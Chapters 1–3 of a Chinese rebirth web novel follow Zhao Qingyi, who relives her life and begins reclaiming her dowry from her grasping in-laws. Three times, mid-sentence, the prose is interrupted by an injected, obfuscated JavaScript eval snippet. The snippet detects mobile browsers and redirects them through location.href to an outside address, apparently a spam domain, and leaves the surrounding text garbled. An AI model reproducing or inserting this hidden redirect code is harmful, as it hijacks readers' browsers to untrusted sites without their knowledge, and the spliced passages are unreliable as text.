《和离后陛下成了我的外室》 1. 第 1 章 “奶奶,老夫人和表少爷又送东西来了。” 婢子捧着木匣跨入揽月阁。 赵清仪一梦初醒,躺在榻上望着头顶的鲛纱帐微微出神。 “奶奶。” 檀月打起珠帘走进内室,将几个匣子工整地搁在并蒂莲开镜台上,逐一摆开。 “下月大爷就要调任回京,赵家老夫人特意差人送来两套新衣,一对儿水头极好的羊脂玉镯,并一些山参燕窝给奶奶补身子用,让奶奶趁着大爷回来前,把自个儿身子骨养好来,届时婢子们再把揽月阁布置下,给大爷奶奶补个新婚夜……” 檀月不紧不慢说着,话音未落,一旁的俏月便紧跟着飞快接了话茬。 “表少爷也送来三匹孟家绸缎行新出的暗花缎,不过最要紧的是这条霞影纱裙,听闻这一条纱裙可值百金!大爷回来当日,奶奶若穿上这一身,定叫大爷挪不开眼……” 婢子叽叽喳喳说了一通,方才意识到拔步床里的人没有回应。 俏月呼吸一紧。 自家奶奶入李家三年来,可从未有一日过了卯时人还在榻上的,莫不是病倒了? “奶奶?” 俏月蹑手蹑脚上前,半透明的纱帐里忽的坐起人影。 赵清仪总算是清醒过来,明明她早就睁开了眼,潮水般的记忆却隔了许久之后,才一同涌入她的脑海,那些记忆太过窒息,她如同岸上濒死的鱼儿,不得不大口喘息。 “奶奶,您怎么了?”婢子忙束起纱帐,围着赵清仪,目露关切。 看着眼前两张属于少女的面庞,赵清仪不甚恍惚。 “檀月?……俏月?” “婢子在。”二人蹲在脚踏上,一左一右握着她的手,触手濡湿,冰冰凉凉的。 不等两个婢子再开口,赵清仪掌心用力,反握住她们。 “我真不是在做梦?”声音里藏不住的颤抖。 她记忆中的檀月俏月,两鬓斑白,面容憔悴,就和后来猝然病倒的自己一般,三十出头的年纪,就已罩着一层死气,未老先衰。 可怎么一闭眼,再一睁眼,竟像是见到了十八年前的面孔。 “奶奶梦魇了?” 俏月笑嘻嘻地,牵着她的手示意她看向妆奁,“不怕,梦都是反的!奶奶快瞧,那霞影纱裙可美了,奶奶见了定然心中欢喜!” 檀月配合着捧来木匣,送到赵清仪眼前。 这是孟家商号独有的料子,领口裙摆缀满华珠,所用纱线根根明亮,随着不同光线变化,折射出各色炫目流光,美若晚霞之影,是为霞影纱。 这身霞影纱裙曾深刻在赵清仪的记忆里,只是那时她没来得及穿,便被丈夫的胞妹,她的小姑李素素夺了去。 赵清仪抿唇不语,两个婢子心头一沉。 檀月犹豫着,“奶奶,这次的东西……不会也要送去琼华堂吧?” 琼华堂是婆母罗氏与小姑子李素素的住处。 自她们奶奶不得不遵守昔日婚约,下嫁李家起,日子过得那叫一个清苦,赵孟两家于心不忍,这才每逢十五差人给奶奶送衣裳首饰,滋补药材之物,好让奶奶过得体面些。 只是奶奶性情柔顺,事事以婆母小姑子为先,送来的好东西总紧着婆母与小姑子先挑,最后剩些不值钱的小玩意儿,才轮到奶奶自己受用。 依琼华堂的小气做派,这次再送东西过去,恐怕又是肉包子打狗,有去无回。 “奶奶。”俏月实在按不下这口气,“旁的都好说,只这条纱裙,可是表少爷按您的身量,让绣娘足足赶了两月的工,好不容易才得来这么一件,就为了让您在大爷回京当日穿上它,这可不能送……” 俏月就怕奶奶想不通,又白白便宜了旁人。 “知道这些年你们替我不平。” 赵清仪刚醒来,有些乏累,“本就是我娘家送的东西,我收着也是本分,从今往后,送来揽月阁的东西全部登记造册,纳入库房,未得允许,旁人不能随意支取。” 两个婢子早就等这一天,忙不迭应是,将东西整理好收入库房,便折返回来替赵清仪梳妆。 盛夏五月,正是燥热的时候,屋里已布上了冰鉴,赵清仪仅着单衣,看着镜中的自己。 尽管猜到了,却还是难以置信。 她猝然病倒,死在诰命加身之日,原以为要魂归地府,一睁眼,却又回到李家,回到了…… 她十八岁这年。 也是她与李彻成婚的第三年。 她真切活过的那三十六年,就好似一场冗长的噩梦,只要闭上眼,那一张张可怖伪善的嘴脸便浮现在她脑海中。 她呕心沥血扶持多年才升任首辅的丈夫,在她临死前甩下一纸休书。 她悉心教导成材得中进士的养子,转头恨她入骨。 她侍奉二十载的婆母,谋夺她的嫁妆不说,还对她百般磋磨。 而她多年来爱护有加的庶出堂妹,穿着她的诰命服,站在她的丈夫身侧,执手偕老,用最柔和的嗓音说着最恶毒的话。 “多谢姐姐替我教养孩儿,往后我会替姐姐接管李府,定不辜负姐姐挣来的诰命。” 赵清仪临死方知,自己在这李家后宅之中,殚精竭虑付出心血的一生,就是个彻头彻尾的笑话。 首辅丈夫是为别人扶持的,进士儿子也是替别人养的,就连她辛苦一生得来的诰命,也成了别人的。 她们才是和和美美的一家三口。 那一刻,赵清仪心中是翻江倒海的恨,活生生气死了。 眼下,命运使然,又要她重来一遭。 赵清仪压下情绪,再度抚过那张未经沧桑,正值芳华的秾丽面容。 她都快忘了自己曾有过这般娇艳莹润的模样,这一世,她必须要挣脱且打破李家这座牢笼。 俏月往她乌黑的堕马髻上妆点金钗,又在她腕上套了赵家才送来的羊脂玉镯,温润的玉配上这身欺霜赛雪的莹白肌肤,很是相得益彰。 “奶奶不愧是上京第一美人,这般品貌,倒是让大爷捡了天大的便宜。” “何止是便宜?那简直是李家祖坟冒青烟了。”檀月附和着说,“若非当年两家老太爷在世时定下了婚约,如今可轮不到大爷迎娶咱们奶奶。” 当年赵家还未发达,而李家也尚未落魄,勉强还算匹配,谁知转眼十几年的功夫,赵家步步高升,李家却落魄成了寒门,而赵家门风清正,信守承诺,这才把嫡长女下嫁过来。 赵清仪不甚在意,她扫过妆奁,给她们一人分一套棉绸新衣,又取了两对并不扎眼,却沉甸甸的银耳坠,塞进两人手中。 “你们跟我到这李家,受苦了。” 婢子往常得的赏赐不少,“奶奶,不……” “拿着,我们的好日子,还在后头。”赵清仪语气坚定。 她本是名门望族的贵女,祖父是前任阁老,外祖孟氏一族虽是商贾并无官身,却也富可敌国,财力雄厚,而她的父亲如今在山西任正三品提刑按察使,按上辈子的记忆,父亲也将在李彻回京不久后升任内阁。 未出嫁前,赵清仪就是府里最受荣宠的嫡女,是这上京数一数二的贵女,就连她贴身伺候的两个丫头,日常穿戴堪比寻常商贾家的小姐。 而现今,她的丈夫李彻不过七品鹤山县县令,即便下月回京拜入翰林,依旧改变不了位卑的事实,连累她两个婢子守着七品官家下人的规矩,这不能穿那不能戴。 赵清仪头一回审视出她与李彻的差别,越发看不起上辈子的自己,那时她恪守礼教,遵从夫纲,平白委屈了二十年。 檀月俏月并未听出赵清仪话中的不妥之处,只当她是盼着大爷来日仕途顺遂,步步高升,她们能够鸡犬升天,过上从前那般优渥富贵的生活。 两个婢子抱着东西欢欢喜喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625636|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,准备侍奉赵清仪用膳,赵清仪想起婢子最初进来说的话,忽然开口,“表兄是否还未走远?” 檀月率先反应过来,“奴婢这就去追。” “不必,既已走了,你晚些替我捎封书信便是。” 前世父亲的确在李彻回京当月升迁,所有人包括李家上下皆喜闻乐见,因为入了内阁,那便占据了权力中心,有一个阁老岳丈,何愁李彻将来不能平步青云? 可偏偏就在那一个月,在父亲母亲带着弟弟从山西回京的途中,一家三口路遇劫匪,尽数遇害,赵家长房一脉彻底断绝。 回想前世,她与父母弟弟见的最后一面,竟是她嫁给李彻那日,往后二十年里,她再没机会与家人相见,成了她心底毕生的痛。 如今重活一世,许是临近父母弟弟出事的日子,赵清仪总觉不安,她必须做些什么,尽量阻止这一切的发生。 顾不得用膳,赵清仪飞快到书案前修书一封,交给檀月,“你做事向来沉稳周到,这书信务必交到表兄手中,要他赶在下月之前送到山西,还有一事……” 她招手,檀月附耳过来。 赵清仪低语几句,就见檀月变了脸色,蹙眉,又渐渐舒展,最后竟隐隐带着喜色。 “奴婢这就去办!” 等人走了,俏月嘟着嘴,想抱怨自家奶奶偏心。 檀月稳重,她也不差啊。 赵清仪坐回八仙桌前等着用膳,俏月只得先过去布菜,半晌忍不住问,“奶奶,你让檀月去干什么好事了?” “孟家世代皇商,与京中官宦人家多有来往,流通消息最是便利,我不过是让檀月交代表兄几句,让他在外头多帮我说些好话。” 具体什么好话赵清仪不提,只笑着安抚,“别急,总有用到你的时候。” 两个婢子性情不同,檀月稳重,俏月泼辣,各有优势,譬如明日,就少不了俏月出面。 赵清仪端起燕窝抿了一口,想着接下来要发生的事,便觉通体舒泰。 “过去我多有不是,纵着婆母这不善管家之人理事,如今大爷就要回来了,在京中少不得要花钱打点关系,我手头没有银子,便是巧妇难为无米之炊,希望婆母能够理解我的一片好心,也好早些归还我的嫁妆。” 俏月不屑撇嘴,“那老虔婆到底小门小户出身,不善经营持家,过去李家那几分薄产全败她手里了,这三年来,若非奶奶嫁妆丰厚,李家可撑不起这座宅院。” 私下里,俏月这张嘴从不饶人,平日还有檀月拦着,眼下檀月出去了,她非要一吐为快。 赵清仪静静听着,没有斥责的意思。 俏月见状更是倒豆子般滔滔不绝。 “……瞧婢子这嘴,什么李家的宅院,如今这座宅院都是奶奶的陪嫁,当年李家如此落魄,仅留下外城一处逼仄狭小的四合院,拢共就三四间房,一家人几口人挤着住,连存养仆从的地方都没有。” “要不是大夫人心疼您,在这内城府学胡同里置办一座三进宅子,哪儿有如今的李府?” 规模虽不如她们东城赵家,但对李彻这等七品小官而言,能勉强住进内城,毗邻府学,已是奢侈。 隔了一世,诸如这般的琐事赵清仪是记不清了,但从俏月嘴里,她也想起了许多过去不曾在意的事,越想越心惊,越想,越觉得脊背发凉。 李家,这是早就算计上她了,怪不得上辈子她掏空家底补贴夫家,最终也没得个好下场,这辈子,她可不想在这些不值当的人身上浪费一文钱。 要想脱身,讨回嫁妆与掌家权,是她必须迈出的一步,只是她身在内宅,有些事少不得外头推波助澜。 赵清仪心底有了谋算,在俏月的抱怨声中闲适地用完早膳,就打发她去把嫁妆单子找来。 三年里,婆母罗氏与小姑李素素在她这儿连吃带拿的,明日,全得给她吐出来,一分都不能少! 2. 第 2 章 待檀月传完书信,主仆三人开始核对嫁妆单子。 从前赵清仪宽容大度,从不介意,幸而檀月这丫头多留了心眼,凡罗氏与李素素要走的东西,她悄悄记录在册,如今清点核对,倒不费什么功夫。 清点完毕后,赵清仪抚过那一长串的嫁妆单子,指尖还在发颤。 上辈子,她居然为李家付出了这么多,再回想她的结局,她只觉自己蠢透了。 很快,揽月阁恢复了一如既往的平静,只是这种平静,让琼华堂的李素素坐不住了。 “今儿个不是十五吗?东西呢?怎不见人送来?” 入夜时分,李素素对镜卸了钗环,不耐烦地问。 往常每月这个时候,两家送来的绫罗绸缎,珠宝首饰已经全在她屋里了,三年来一向如此。 边上伺候的丫鬟刚盯完揽月阁回来,讷讷道,“大奶奶她、她把东西收进自己的库房了……” 李素素蹭的站起身,“居然自己收了?两家都送了什么好东西,你可有瞧清楚?” “奴婢看清了,与往常大差不大,唯一不同的是、是孟家少爷送了一条什么……什么霞影纱裙?” 丫鬟不懂,只尽可能复述出来,“奴婢隐约听大奶奶院里的丫头说、说那纱裙,价值百金……” “百金?!” 李素素陡然拔高声调,瞪大了眼睛。 她还从未见过能值百金的纱裙,那一定是好东西。 李素素有种说不上来的嫉妒,随即恼怒,将手中银篦砸了出去。 “她明知哥哥就要回京,我和娘少不得交际,光是这几日,京中女眷给家里下的拜帖就不下十封,她有好东西不紧着我和娘亲先用,居然藏着掖着?” “我们没有像样的头面首饰装点,传出去人人都要议论我们李家寒酸!” 丫鬟头埋得更低了。 李家本就寒酸,人尽皆知,和大奶奶有什么关系?真是日子久了,觉得大奶奶的好是理所当然了。 但实话总是让人难以接受,跟在李素素身边,她已经学会了少说话,或者,不说话。 李素素看着台面上的首饰,少是不少,美则美矣,却比不得赵清仪出嫁时的十里红妆,琳琅满目的金银珠宝,绫罗绸缎,成箱成箱的好东西,就给她这么点儿,打发叫花子呢。 李素素越想越气,“她就是存心的!看我明日不去闹她个天翻地覆!” 赵清仪出身再好,不也是李家妇,她的,自然就是李家的,是她和娘亲的。 赵清仪拿东西来“孝敬”,是本分。 翌日一早,李素素等不及用膳,便气冲冲直奔揽月阁去,穿过垂花门,透过镂空的影壁,一眼就瞧见了倚在支摘窗前的赵清仪。 李素素正要过去,檀月俏月从屋里出来,见到她似乎并不意外,双双福身,“姑奶奶。” 李素素的目光被两个婢子引去,上下打量。 两个婢子穿着相同的灰蓝短衣,下配素色棉布裙,一头银簪,耳垂上皆缀着花生大的银坠子。 她的目光掠过婢子的头面,再次落回她们的短衣上,那衣衫色泽素淡,却泛着泠泠的光泽,竟像是……丝绸? 李素素猛吸一口凉气,又下意识看了看自己,素绢窄袖衫配着水红棉布裙,发髻间只斜插一根银钗,别无他物。 赵清仪的婢子,穿得竟比她这个探花妹妹还要气派! “两个下人,怎配穿这丝绸?”李素素作势过去撕扯。 婢子灵巧闪躲,对视一眼后,噗呲笑出了声。 李素素听出了,那是嘲笑,她愈发恼羞成怒,张牙舞爪,俏月不是个好欺负的,反手要与她扭打起来。 “俏月,不得无礼。” 清柔嗓音从支起的冰裂纹窗中传出。 俏月当即停手,与檀月退开,李素素捋了捋发髻,刻意抬头挺胸,学着她见过的赵清仪的姿态,款款步入主屋。 主屋北间是卧房,东间作妆阁,听声音,她人在妆阁里。 李素素挑起珠帘望去,临窗置着一张斑竹美人榻,盘着妇人发髻的赵清仪斜倚在榻上,榻边鎏金鹤形香几托着定窑白瓷盘,盘中堆满冰镇过的黑葡萄,颗颗晶莹。 “小姑,坐。” 薄如蝉翼的玉色杭罗对襟衫笼着她的躯体,玲珑有致的曲线隐隐绰绰。 时下流行弱柳扶风,偏赵清仪自幼娇养,体态丰腴婀娜,是少有的贵态,未染丹蔻的素手却很纤细修长,她攥着一柄檀木缂丝团扇,轻轻一挥,示意李素素落座,腕间的羊脂玉镯与金丝虾须镯随之滑落相击,发出清越声响。 尽管李素素时常往这来,依旧会被揽月阁的奢华雅致所折服,包括美人榻上那个身娇体软的贵妇人。 这通体的气派,即便在李家委屈三年也不减风华。 说到底,还不是仰仗着高官厚禄的爹和富甲一方的娘,赵清仪的命怎就这般好? 李素素忍不住在心底发问,面上做足了姿态,施施然落座。 檀月俏月屏住笑意,倒了一杯清茶递过去。 李素素接过,又扫了婢子几眼,“嫂嫂,我可听说,下人是不能穿丝绸的,这是僭越,要判罪的。” 此话一说,俏月再忍不住,捧腹大笑,饶是重活一世的赵清仪听了这番话,亦是忍俊不禁,用团扇虚掩住上扬的唇角。 李素素还真是一点没变,愚蠢又刻薄。 只不过上辈子赵清仪有世家贵女的涵养与良善,一向包容着她,这一世,她不想施舍半分善意。 “姑奶奶误会了。”还是檀月按捺着性子解释,“奴婢身上穿的,是奶奶赏赐的棉绸,乃蚕丝与棉混纺而成,这才显出几分细腻光泽,实则价廉,并非真的丝绸,姑奶奶若喜欢,婢子那里还有。” 李素素自小跟着罗氏,无甚见识,自然分不清棉绸与丝绸,闻言面色羞红,尤其对上赵清仪那双满是戏谑的杏眼,更加如坐针毡。 这是讥笑她不识货? 果然,这三年的好都是装出来的,赵清仪打心眼里就看不起她! “嫂嫂。” 李素素咬着牙,“你这是何意?弄出这劳什子棉绸丝绸的,就是为了取笑我?” “小姑多心了,是这两个丫头放肆,不懂礼数。”赵清仪嘴上责骂,语气里不见半分恼意,婢子顺从地冲李素素道歉。 想着那条传说里价值百金的纱裙,李素素忍了,不情不愿别过头去。 赵清仪不动声色,捻起一颗葡萄慢条斯理地剥开,“不知小姑今日来访,所为何事?” 李素素目不转睛地盯着那盘葡萄,冰镇过的,想来,正合如今的炎热,想着想着,口中竟生出了津液,她不由抓起茶盏,咽了口茶水以作掩饰。 半晌,“我听梅儿说,昨儿个孟家表兄给嫂嫂送了一条霞影纱裙?” 果然。 赵清仪将剥好的葡萄肉送入口中,慢慢咀嚼着,静待后文。 见她不说话,李素素就知确有此事,又说,“嫂嫂,我没别的意思,谁不知孟家家大业大,不缺银子,那孟家出来的东西,自然是顶顶好的,我这不是没见过么,便想来嫂嫂这里开开眼界。” 俏月一听,生气了。 又来。 过去李素素就爱用这套说辞,什么长长见识,开开眼界,要走奶奶嫁妆里不少好东西,说是借去把玩,结果就没还回来过。 黄鼠狼给鸡拜年,没安好心的烂货,又穷又爱算计,就差没把乞丐两字明明白白写脸上。 俏月暗暗啐了一口。 赵清仪意味不明地笑,“小姑的耳报神可真灵,才一夜的事,小姑就知道我这儿有什么了。” 李素素好像听不懂似的,“嗐,一家人嘛,哥哥不在,嫂嫂独居多年,院里冷清,我和娘自然要多关心关心你,这一来二去,有什么是不知道的呀。” 她眼珠一转,搬着绣墩靠过去,主动去拉赵清仪的手,“嫂嫂……” “我娘亲出身不如你,没你知书达理,也不懂为我谋算,但人都说长嫂如母,如今你就和我娘一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625637|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,这京城中人最势利,我就怕我这无人关照,嫁妆又薄,难议婚事,嫂嫂,你总不能看着我在宅子中蹉跎成老姑娘,嫁不出去罢?” 李素素握着她的手来回摩挲,三年来她再怎么细心保养,她的手始终留下年幼时劳作的痕迹,如何也养不出赵清仪这般柔滑细腻的纤纤玉手。 她顺势摸向镯子,“呀,嫂嫂,这镯子是赵家还是孟家送的?触手如此温润,一看就知价值不菲,怎的从未见你戴过?” 赵清仪秀美微颦,不咸不淡地抽回手,将褶皱的袖摆捋平。 她垂下眼帘,“下月大爷便要拜入翰林,你是探花郎翰林编修的妹妹,何愁嫁不出去?” 还想要她的东西给自己添妆?笑话。 李素素对那镯子爱不释手,依旧没听出她声音里的冷淡,“嫂嫂,你这玉镯有一对儿,可否、可否借妹妹一只?这几日有不少太太给娘亲下帖,娘亲有意带我出门,我正好没有相配的玉镯……” 她这是没有相配的玉镯吗?她是恨不得从奶奶这里搜刮了东西,好让她从头装到脚! 俏月立在珠帘后,气得两眼直翻。 檀月静静开口,“姑奶奶,婢子有句话,不知当讲不当讲?” 李素素紧着哄赵清仪,好让她松口把东西借给自己,无所谓的摆手。 檀月颔首,不卑不亢道,“先前姑奶奶怀疑婢子僭越,想必姑奶奶在京中三年也是懂了规矩,按我大梁礼律,七品官女眷只可佩戴银、镀金,禁用赤金宝石珍珠,这上好的羊脂玉亦算在其中。” “若……若姑奶奶执意如此,便算服舍违式,被有心之人瞧见,免不得上书弹劾大爷一个治家不严之罪。” 李素素如何不知?过去她没少拿走好东西,只是用不得戴不得,便都收在房中。 “嗨呀,就在咱们自家戴戴,待往后我出嫁了,用做添妆也成,不出去招摇……” “婢子觉得,还是不妥。”檀月并无退让的心,“大爷这次好不容易才得入翰林,属天子近臣,前途无量,多的是人盯着,姑奶奶与老太太又如何确定,与你们相约之人并无害人之心?万一落人把柄,岂不害大爷丢了差事?” 李素素一愣,她左右是找个借口要东西罢了,这死丫头还和她讲起礼律了。 “嫂嫂……” 她不信赵清仪不明白她的意思,李素素笃定,这一次赵清仪依旧不会拒绝她,首饰,衣裙,她都要。 以往,赵清仪也什么都依她的。 岂料她刚开口,赵清仪便打断她,“檀月说的不无道理,今非昔比,大爷调任在即,还是莫惹出祸事。” 李素素气不过,“那、那我瞧一眼那霞影纱裙,总可以了吧!” 赵清仪思忖半晌,轻摇团扇,“只是瞧瞧,倒也无妨。” 她给俏月递了个眼神,原本气鼓鼓的俏月心领神会,当即去取,匣子依开,流光溢彩的纱裙便出现在众人面前,李素素一双眼睛都僵直了,情不自禁伸出手去。 俏月飞快合上匣子,李素素被夹了手,惊呼一声。 俏月可不关心她的手,只警惕地说,“姑奶奶,这纱裙价值百金,切莫乱动。” 李素素装不下去了,捂着被夹伤的手指,破口大骂,“你这贱婢!你故意的!” 俏月慌忙冲赵清仪的方向跪下,对天发誓,“奶奶明鉴啊,婢子绝无此意。” 至此,李素素再蠢笨都知道,自己被这主仆仨戏耍嘲笑了,自己来这一趟,说了这么多,在她们眼里全成了猴戏! “你、你们……你们等着!我这就告诉我娘!”李素素气红了眼,转身要走。 “且慢。” 赵清仪柔声唤住她,一直懒散的身子骨终于动了起来,裙裾散开如月下清波,她微微歪着脑袋,耳垂上莲子米大的东珠轻轻颤动。 “正好我有事,得打发俏月去琼华堂讨回一些东西,既然小姑在,不如,就先从小姑房里开始。” 对上李素素震惊无比的眼神,赵清仪缓缓勾起唇角。 3. 第 3 章 琼华堂是整座李府最宽敞明亮的主院,共三间上房,正中主屋住着罗氏,东厢房住着李素素,西厢则改做小厨房。 其中主屋以楠木为梁,檐下悬着京中大儒孔先生亲笔题的“懿德长存”匾额。 匾额之下,李府管事妈妈正焦急的来回踱步。 反观卧房内的罗氏,刚在四五个婢子的伺候下,慢悠悠屐鞋下榻,听着一旁的罗妈妈给她读信,是她远在岭南的宝贝儿子李彻,已经踏上回京之路,至多半月,便能抵京。 罗氏约莫四十来岁,生得一张瘦长脸,颧骨高耸,鼻背如刀,本就是刻薄相,偏要学高门大户的主母夫人那般故作威严,一双三角眼高高吊起,看人时,眼神里习惯带着三分打量七分挑剔,透着一股子算计。 她掐着指尖算了算,今儿已是五月十六,下月初,她的彻儿就能回来,她的日子也会好过起来。 想到亲儿子,罗氏不由想起那个一直被她忽略,又不怎么爱说话的庶子,“翠竹轩那小子,近日在忙什么?” “二爷一心准备今年的秋闱应试,最近几日都是天不亮就去府学了。”罗妈妈低声道。 罗氏轻哼,“再如何努力,到底比不上我彻儿,我的彻儿可是陛下亲点的探花郎,马上呀,就要是陛下跟前的红人儿了。” 幻想着那一日的到来,罗氏不禁笑出了声。 婢子上前为罗氏更衣,捧来晨起饮用的茶水,罗氏端来没仔细闻,仰头喝了大口,一股潮湿腐霉的苦涩顿时在唇齿间蔓延开来。 罗氏猝不及防,一口茶全喷出来,随即扬手把茶盏掷在婢子脚边,连着狠啐了几口唾沫。 “你个天杀雷劈的!竟敢拿这等染脚茶来糊弄我?” 啐了几口,那股子腐霉味儿依旧在她嘴里挥之不去。 屋里婢子吓坏了,纷纷跪地求她息怒,就连外头的管事妈妈也变了脸色。 罗氏用温水接连漱了几次口,勉强把那股说不上来的恶心味道除去,才觉得缓了过来。 她颤着手指,“谁……究竟是谁要害我?我每日需饮用雀舌茶呢?哪个黑心烂肺的东西,竟将我的茶水换了!” 负责煎茶的婢子打着哆嗦,眼泪哗哗的流,“老太太,不、不是婢子要换的,是……” “吞吞吐吐作甚?”站在罗氏身后的罗妈妈呵道,“还不从实说来!” 婢子闭上眼,豁出去了,“是大奶奶!” 此话一出,屋中众人安静了一瞬,罗氏闭眼深呼吸,似在压制即将喷涌而出的怒火。 “婢子今日去煎茶,发现库房里的雀舌茶空了,便和往常一般去大奶奶院里禀报,谁知、谁知大奶奶身边的俏月不仅不给婢子茶叶,还将婢子赶了出来,还说……还说从今往后,谁也别想从大奶奶院里要走任何东西……” 婢子死死低着头,不敢去看罗氏那双凶光毕露的眼睛。 罗氏觉得一口恶气堵在喉咙里,抓着罗妈妈的手,“去,去把那贱妇给我叫来。” 罗氏向来不待见赵清仪这个名门出身高高在上的贵女,私底下心绪不佳时,便一口一个贱妇,琼华堂的仆妇们也习惯了,没人敢吭声。 罗妈妈应是,正要出去,外头小厨房的管事走到门边,怯生生道,“老太太,您、您要不看看今日的早膳?” 又怎么了? 罗氏皱眉,索性推开众人,快步往外走去,正中央摆着一张老红木雕云纹圆桌,是她惯常用饭的地方,此时桌面上仅有两碟素菜,一盅浓稠米汤。 罗氏跌跌撞撞扑到圆桌前,三角眼瞪得老大,“你们就让我吃这个?我每日必饮的燕窝呢?” 不仅如此,就连她最喜欢的景德镇青花瓷盘,缠枝莲纹碗,象牙筷全都不见了。 厨房管事一脸难为情,“太太,这……这些都是大奶奶的意思。” 又是她!又是她! “她想做什么?她是要骑到我这个婆母头上吗?连我院里的吃喝用度都敢管了?” 罗氏气急败坏,拂袖将桌上的吃食全都打落在地,“反了天了!反了天了!” “哎呀!”厨房管事张大了嘴,痛心疾首,“太太,这……” 完了完了,她该怎么说才好,这些可是琼华堂小厨房里最后剩的一点粮食了,眼下老太太与姑奶奶尚未用膳,就被打翻在地,可得饿肚子了。 “太太,小厨房里就剩这些了,三年来大爷从未往府上送过银钱,咱们琼华堂早就揭不开锅了。” “赵氏人是死的么?”罗氏怒喝,“琼华堂没有,你们不会去揽月阁要吗!” 厨房管事委屈,先前煎茶的婢子也委屈,太太怎么就听不懂呢? “已经要不到了呀……” 她们话没说完,就听院外响起俏月的大嗓门儿,“快快快,这些都给我撤走!” 听得俏月的声音,罗氏连忙提起裙摆跑到门边,扶着门框眯眼直瞧,就见俏月立在院中,一手捧着红册,一手握着狼毫,指挥十几个粗使在琼华院里大张旗鼓地搬东西。 “黑漆云母石围子榻一张,五蝠捧寿衣笼三只,螺钿梳妆提盒……” 俏月对着册子,每叫出一样东西,粗使便进屋里抬,待抬出了琼华堂,她便在册子里勾上一笔,“仔细些,一样都不能漏了……哎哎哎,还有妆阁里的黄花梨木铜镜妆奁,以及门边那个朱雀衔灯树,也是咱们奶奶的陪嫁,搬走!全搬走!” 随着粗使们搬搬抬抬,李素素追在后头哇哇直叫。 “我的!这是我的!这些都我的……” 李素素心疼得眼泪直掉,可是没人理她,粗使们都板着脸,只顾搬东西,李素素索性展开双臂堵在门口,“放下!不准搬!” 粗使们被拦了去路,终于停下,看向站在远离的俏月。 俏月嘴角勾起一丝冷笑,“姑奶奶,她们都是一帮粗使,不晓得怜香惜玉的,姑奶奶若仔细自己的皮肉,还是离远些好,免得磕了碰了,疼的是自己呀。” “你休想!我不会让的,这些都是我房里的东西,你们凭什么来搬?” 李素素抓着门框,扭头恶狠狠盯着俏月,“你平白无故带外人上门,在我院里如此放肆行事,信不信我一纸状书,把你们告到衙门里去!” “你去啊。”俏月歪头叉腰,亮出嫁妆单子,“这里桩桩件件,都是咱们奶奶从赵家带来的嫁妆,是咱们奶奶的私产,她愿意借你就借你,如今不愿意了,要拿走也是天经地义!” “你……” 李素素还欲叫骂,一个扛着箱笼,膀大腰圆的粗使婆子没忍住,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625638|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶胯把她撞了出去。 李素素到底是纤弱的姑娘家,被这一撞整个人往后跌去。 “素素——” 罗氏终于忍不住,哀嚎一声跑了过去,将摔在地上,疼的龇牙咧嘴的女儿扶起来,满脸心疼,“哎呀,这、这都怎么回事儿啊?好端端的,怎么就闹成这样?” 俏月毕竟是赵清仪眼前得脸的大丫头,是从赫赫赵府出来的,私下里罗氏再逞凶,见了赵清仪身边的人,便自觉矮了气焰,不敢摆主母的款。 未免女儿再出意外,罗氏拉着女儿退到院中央,避开那帮粗使,只是看着鱼贯而出的粗使,手上肩上扛着全是价值不菲的名贵之物,她心肝疼得直抽搐。 忍了忍,罗氏挤出自认为和善的表情,往俏月跟前凑,“俏月啊,我们和你家奶奶是一家人,从来不分你我,今日又何必闹得如此难看?” “闹?” 俏月拔高声调,旋即嗤笑,“我们奶奶可没有闹,只是这些东西是我们奶奶从赵家孟家带出来的陪嫁,一直留在琼华堂不成体统,这才向表少爷借了人手回来搬东西,老太太,您莫非也有成见?” 罗氏一噎,“我、我没有……” “既然没有,烦请老太太和姑奶奶站远些。”俏月别过头,冷声打断罗氏,冲院门口外另一批粗使招手,“小厨房和库房都搬完了是吧?来来来,到老太太的主屋去,那儿还有不少奶奶的嫁妆。” 罗氏闻言,三角眼再次瞪大。 什、什么意思? 搬厨房和库房? 敢情她一早的不痛快,全都是因为赵清仪? 罗氏还有些懵,本能地原地打转,想抓个人来问。 粗使们才不管她,得了俏月的吩咐,掠过她风风火火闯入主屋,先前在屋里的仆妇被迫赶了出来,只能围在罗氏身边,人人自危。 “老太太,这……” 罗氏抓着管事,尖声逼问,“你快说,我的库房怎么了!” 管事苦着脸,“就一炷香前,俏月姑娘差人闯进厨房,把米面猪油,锅碗瓢盆收走了,又叫人破开库房,把存放在里头的吃的用的,还有些金银首饰,古董字画全搬走啦!老奴一早过来,正是想和您说这事儿的……” 罗氏倒吸一口凉气,浑浊的眼珠子几乎要蹦出眼眶。 她的雀舌茶……她的燕窝……她的金银! 